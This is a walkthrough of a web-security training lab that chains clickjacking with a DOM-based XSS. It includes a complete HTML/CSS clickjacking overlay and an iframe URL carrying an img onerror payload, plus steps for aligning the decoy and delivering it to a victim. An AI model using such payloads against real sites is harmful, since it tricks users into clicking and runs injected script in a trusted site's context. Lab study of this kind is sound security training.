Exploiting clickjacking vulnerability to trigger DOM-based XSS
Description
This lab contains an XSS vulnerability that is triggered by a click.
Reproduction and proof of concept
Log in to the
wiener
account on the target website and find vuln.
Create payload:
The iframe
src
URL points to the target website vulnerable page. In this case, the/feedback
page, and depends on the uniquelab-id
.An initial opacity of 0.1 to align the iframe actions and adjust the position values.
Initial
$top_value
and$side_value
values of resp610px
and80px
to align the “Submit feedback” button with the “Test me” decoy action.
<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="lab-id.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>
Go to the exploit server and paste the payload into the
body
field of the form.Click Store and then View exploit. Hover over “Test me” to make sure the cursor changes to a hand indicating that the
div
element is positioned correctly. If it is not, adjust the position of the div element by modifying thetop
andleft
properties of the style sheet.Change “Test me” to “Click me”, set
opacity
to0.0001
, and click Store.
Deliver exploit to victim
Exploitability
An attacker needs to construct a clickjacking attack that fools the user into clicking the “Click me” button to call the print()
function.